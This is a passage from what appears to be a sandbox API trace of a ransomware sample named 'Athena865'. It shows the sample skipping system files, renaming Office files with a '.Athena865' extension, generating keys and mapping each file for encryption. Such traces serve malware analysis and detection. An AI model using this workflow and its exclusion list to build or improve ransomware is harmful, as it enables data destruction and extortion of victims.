hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.333] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.333] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4126500, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4126500, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0xcae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NETWORK3.VRD", cAlternateFileName="")) returned 1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2=".") returned 1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="..") returned 1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="windows") returned -1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="bootmgr") returned 1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="temp") returned -1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="pagefile.sys") returned -1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="boot") returned 1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="ids.txt") returned 1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="ntuser.dat") returned -1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="perflogs") returned -1 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2="MSBuild") returned 1 [0143.333] lstrlenW (lpString="NETWORK3.VRD") returned 12 [0143.333] lstrcpyW (in: lpString1=0x241e8a8, lpString2="NETWORK3.VRD" | out: lpString1="NETWORK3.VRD") returned="NETWORK3.VRD" [0143.333] lstrlenW (lpString="NETWORK3.VRD") returned 12 [0143.333] lstrlenW (lpString="Athena865") returned 9 [0143.333] lstrcmpiW (lpString1="WORK3.VRD", lpString2="Athena865") returned 1 [0143.333] lstrlenW (lpString=".dll") returned 4 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2=".dll") returned 1 [0143.333] lstrlenW (lpString=".lnk") returned 4 [0143.333] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2=".lnk") returned 1 [0143.333] lstrlenW (lpString=".ini") returned 4 [0143.334] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2=".ini") returned 1 [0143.334] lstrlenW (lpString=".sys") returned 4 [0143.334] lstrcmpiW (lpString1="NETWORK3.VRD", lpString2=".sys") returned 1 [0143.334] lstrlenW (lpString="NETWORK3.VRD") returned 12 [0143.334] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.Athena865") returned 70 [0143.334] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.athena865"), dwFlags=0x1) returned 1 [0143.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK3.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network3.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.335] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3246) returned 1 [0143.335] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.336] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.336] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.336] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.337] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.337] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfb0, lpName=0x0) returned 0x17c [0143.339] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xfb0) returned 0x100000 [0143.340] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.340] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.340] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.341] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.341] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.341] CloseHandle (hObject=0x17c) returned 1 [0143.341] CloseHandle (hObject=0x154) returned 1 [0143.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.341] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.342] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaeefd00, ftCreationTime.dwHighDateTime=0x1c2c076, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xeaeefd00, ftLastWriteTime.dwHighDateTime=0x1c2c076, nFileSizeHigh=0x0, nFileSizeLow=0x468, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OCCMPVRD.XML", cAlternateFileName="")) returned 1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2=".") returned 1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="..") returned 1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="windows") returned -1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="bootmgr") returned 1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="temp") returned -1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="pagefile.sys") returned -1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="boot") returned 1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="ids.txt") returned 1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="ntuser.dat") returned 1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="perflogs") returned -1 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2="MSBuild") returned 1 [0143.342] lstrlenW (lpString="OCCMPVRD.XML") returned 12 [0143.342] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OCCMPVRD.XML" | out: lpString1="OCCMPVRD.XML") returned="OCCMPVRD.XML" [0143.342] lstrlenW (lpString="OCCMPVRD.XML") returned 12 [0143.342] lstrlenW (lpString="Athena865") returned 9 [0143.342] lstrcmpiW (lpString1="MPVRD.XML", lpString2="Athena865") returned 1 [0143.342] lstrlenW (lpString=".dll") returned 4 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2=".dll") returned 1 [0143.342] lstrlenW (lpString=".lnk") returned 4 [0143.342] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2=".lnk") returned 1 [0143.342] lstrlenW (lpString=".ini") returned 4 [0143.343] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2=".ini") returned 1 [0143.343] lstrlenW (lpString=".sys") returned 4 [0143.343] lstrcmpiW (lpString1="OCCMPVRD.XML", lpString2=".sys") returned 1 [0143.343] lstrlenW (lpString="OCCMPVRD.XML") returned 12 [0143.343] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.Athena865") returned 70 [0143.343] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml.athena865"), dwFlags=0x1) returned 1 [0143.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCCMPVRD.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\occmpvrd.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.345] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1128) returned 1 [0143.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.345] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.346] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.346] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.346] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.346] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.347] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x770, lpName=0x0) returned 0x17c [0143.349] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x770) returned 0x100000 [0143.350] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.351] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.351] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.351] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.351] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.351] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.352] CloseHandle (hObject=0x17c) returned 1 [0143.352] CloseHandle (hObject=0x154) returned 1 [0143.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.352] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b675400, ftCreationTime.dwHighDateTime=0x1c2c0e2, ftLastAccessTime.dwLowDateTime=0x50acdda0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4b675400, ftLastWriteTime.dwHighDateTime=0x1c2c0e2, nFileSizeHigh=0x0, nFileSizeLow=0x42c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OCMODVRD.XML", cAlternateFileName="")) returned 1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2=".") returned 1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="..") returned 1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="windows") returned -1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="bootmgr") returned 1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="temp") returned -1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="pagefile.sys") returned -1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="boot") returned 1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="ids.txt") returned 1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="ntuser.dat") returned 1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="perflogs") returned -1 [0143.352] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2="MSBuild") returned 1 [0143.352] lstrlenW (lpString="OCMODVRD.XML") returned 12 [0143.352] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OCMODVRD.XML" | out: lpString1="OCMODVRD.XML") returned="OCMODVRD.XML" [0143.352] lstrlenW (lpString="OCMODVRD.XML") returned 12 [0143.353] lstrlenW (lpString="Athena865") returned 9 [0143.353] lstrcmpiW (lpString1="ODVRD.XML", lpString2="Athena865") returned 1 [0143.353] lstrlenW (lpString=".dll") returned 4 [0143.353] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2=".dll") returned 1 [0143.353] lstrlenW (lpString=".lnk") returned 4 [0143.353] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2=".lnk") returned 1 [0143.353] lstrlenW (lpString=".ini") returned 4 [0143.353] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2=".ini") returned 1 [0143.353] lstrlenW (lpString=".sys") returned 4 [0143.353] lstrcmpiW (lpString1="OCMODVRD.XML", lpString2=".sys") returned 1 [0143.353] lstrlenW (lpString="OCMODVRD.XML") returned 12 [0143.353] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.Athena865") returned 70 [0143.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml.athena865"), dwFlags=0x1) returned 1 [0143.355] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.355] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1068) returned 1 [0143.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.355] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.355] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.356] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.356] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.356] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x730, lpName=0x0) returned 0x17c [0143.358] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x730) returned 0x100000 [0143.358] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.359] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.359] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.359] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.360] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0143.360] CloseHandle (hObject=0x17c) returned 1 [0143.360] CloseHandle (hObject=0x154) returned 1 [0143.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0143.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0143.360] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0143.360] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde567d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xde567d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x81380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFOWCI.DLL", cAlternateFileName="")) returned 1 [0143.360] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0143.360] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0143.360] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2=".") returned 1 [0143.360] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="..") returned 1 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="windows") returned -1 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="bootmgr") returned 1 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="temp") returned -1 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="pagefile.sys") returned -1 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="boot") returned 1 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="ids.txt") returned 1 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="ntuser.dat") returned 1 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="perflogs") returned -1 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2="MSBuild") returned 1 [0143.361] lstrlenW (lpString="OFFOWCI.DLL") returned 11 [0143.361] lstrcpyW (in: lpString1=0x241e8a8, lpString2="OFFOWCI.DLL" | out: lpString1="OFFOWCI.DLL") returned="OFFOWCI.DLL" [0143.361] lstrlenW (lpString="OFFOWCI.DLL") returned 11 [0143.361] lstrlenW (lpString="Athena865") returned 9 [0143.361] lstrcmpiW (lpString1="FOWCI.DLL", lpString2="Athena865") returned 1 [0143.361] lstrlenW (lpString=".dll") returned 4 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2=".dll") returned 1 [0143.361] lstrlenW (lpString=".lnk") returned 4 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2=".lnk") returned 1 [0143.361] lstrlenW (lpString=".ini") returned 4 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2=".ini") returned 1 [0143.361] lstrlenW (lpString=".sys") returned 4 [0143.361] lstrcmpiW (lpString1="OFFOWCI.DLL", lpString2=".sys") returned 1 [0143.361] lstrlenW (lpString="OFFOWCI.DLL") returned 11 [0143.361] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL.Athena865") returned 69 [0143.361] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll.athena865"), dwFlags=0x1) returned 1 [0143.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0143.364] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=529280) returned 1 [0143.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0143.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0143.364] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0143.364] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0143.365] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0143.365] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.365] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x81680, lpName=0x0) returned 0x17c [0143.366] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x81680) returned 0x2bb0000 [0143.382] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0143.383] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0143.383] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0143.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0143.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0143.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0143.383] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0143.383] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0143.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0143.384] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0143.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0143.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0143.384] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0143.384] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0143.388] CloseHandle (hObject=0x17c) returned 1 [0143.388] CloseHandle (hObject=0x154) returned 1 [0143.388] HeapFree (in: hHeap=0x4f0000, 